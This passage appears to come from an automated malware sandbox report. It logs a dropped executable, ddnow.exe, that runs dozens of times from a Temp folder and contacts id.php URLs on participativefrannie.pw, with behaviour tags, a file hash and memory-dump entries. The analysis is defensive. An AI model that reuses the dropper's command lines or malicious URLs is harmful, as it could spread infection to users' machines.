      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3504
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3036
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1360
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5468
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4396
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5976
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4260
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4860
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      PID:2856
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      PID:2384
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      PID:4712
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      PID:3480
    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
      2⤵
        PID:3636
      • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
        C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
        2⤵
          PID:5652
        • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
          C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
          2⤵
          • Reads the TCP/IP host and domain name from the registry
          PID:5316
        • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
          C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
          2⤵
            PID:4492
          • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
            C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
            2⤵
            • Reads the TCP/IP host and domain name from the registry
            PID:3304
          • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
            C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
            2⤵
            • Reads the TCP/IP host and domain name from the registry
            PID:5128
          • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
            C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
            2⤵
            • Reads the TCP/IP host and domain name from the registry
            PID:5136
          • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
            C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
            2⤵
              PID:5536
            • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
              C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
              2⤵
                PID:3440
              • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                2⤵
                  PID:1716
                • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                  C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                  2⤵
                  • Reads the TCP/IP host and domain name from the registry
                  PID:5820
                • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                  C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                  2⤵
                    PID:3076
                  • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                    C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                    2⤵
                      PID:260
                    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                      2⤵
                        PID:4304
                      • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                        C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                        2⤵
                        • Reads the TCP/IP host and domain name from the registry
                        PID:3576
                      • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                        C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                        2⤵
                          PID:3976
                        • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                          C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                          2⤵
                            PID:4416
                          • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                            C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                            2⤵
                            • Reads the TCP/IP host and domain name from the registry
                            PID:724
                          • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                            C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                            2⤵
                            • Reads the TCP/IP host and domain name from the registry
                            PID:3532
                          • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                            C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                            2⤵
                            • Reads the TCP/IP host and domain name from the registry
                            PID:1828
                          • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                            C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                            2⤵
                              PID:3244
                            • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                              C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                              2⤵
                                PID:4380
                              • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                2⤵
                                  PID:3032
                                • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                  C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                  2⤵
                                  • Reads the TCP/IP host and domain name from the registry
                                  PID:4952
                                • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                  C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                  2⤵
                                    PID:2580
                                  • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                    C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                    2⤵
                                    • Reads the TCP/IP host and domain name from the registry
                                    PID:836
                                  • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                    C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                    2⤵
                                      PID:4528
                                    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                      2⤵
                                        PID:1564
                                      • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                        C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                        2⤵
                                          PID:5972
                                        • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                          C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                          2⤵
                                          • Reads the TCP/IP host and domain name from the registry
                                          PID:3592
                                        • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                          C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                          2⤵
                                          • Reads the TCP/IP host and domain name from the registry
                                          PID:4640
                                        • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                          C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                          2⤵
                                          • Reads the TCP/IP host and domain name from the registry
                                          PID:1220
                                        • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                          C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                          2⤵
                                            PID:3816
                                          • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                            C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                            2⤵
                                            • Reads the TCP/IP host and domain name from the registry
                                            PID:2052
                                          • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                            C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                            2⤵
                                              PID:4752
                                            • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                              C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                              2⤵
                                              • Reads the TCP/IP host and domain name from the registry
                                              PID:5056
                                            • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                              C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                              2⤵
                                              • Reads the TCP/IP host and domain name from the registry
                                              PID:3356
                                            • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                              C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                              2⤵
                                              • Reads the TCP/IP host and domain name from the registry
                                              PID:1656
                                            • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                              C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                              2⤵
                                              • Reads the TCP/IP host and domain name from the registry
                                              PID:4388
                                            • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                              C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                              2⤵
                                              • Reads the TCP/IP host and domain name from the registry
                                              PID:4836
                                            • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                              C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                              2⤵
                                              • Reads the TCP/IP host and domain name from the registry
                                              PID:1248
                                            • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                              C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                              2⤵
                                                PID:3764
                                              • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                                C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                                2⤵
                                                  PID:2764
                                                • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                                  C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                                  2⤵
                                                  • Reads the TCP/IP host and domain name from the registry
                                                  PID:2700
                                                • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                                  C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                                  2⤵
                                                  • Reads the TCP/IP host and domain name from the registry
                                                  PID:5932
                                                • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                                  C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                                  2⤵
                                                    PID:4184
                                                  • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                                    C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://w1.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                                    2⤵
                                                      PID:5388
                                                    • C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                                      C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe "http://www.participativefrannie.pw/id.php?p=BLANK&id=1498179183076620200" "aa" "C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\aatxtname.txt"
                                                      2⤵
                                                        PID:4128

                                                    Network

                                                          MITRE ATT&CK Enterprise v16

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          ddnow.exe
                                                          • Path C:\Users\Admin\AppData\Local\Temp\nsq1E9B.tmp\ddnow.exe
                                                          • Size 6KB
                                                          • SHA256 b6e08bfe80854efa5327edf08743c6039f4212527082210f4bc5c96642889e43
                                                          • MD5 SHA1 SHA512 SSDEEP TLSH
                                                          Submit Download

                                                          memory/1132-7-0x00007FFCAE4CA000-0x00007FFCAE4CB000-memory.dmp
                                                          Download

                                                          memory/1132-8-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/1132-9-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/1132-10-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/1132-11-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/1132-12-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/1132-13-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/1132-14-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/1132-15-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/1132-16-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/1132-17-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/1132-18-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/4200-20-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/4200-21-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/4200-22-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/4200-23-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/4200-24-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/4200-25-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/4200-26-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/4200-27-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/4200-29-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/4200-28-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download

                                                          memory/4200-30-0x00007FFCAE1D0000-0x00007FFCAEC08000-memory.dmp
                                                          Download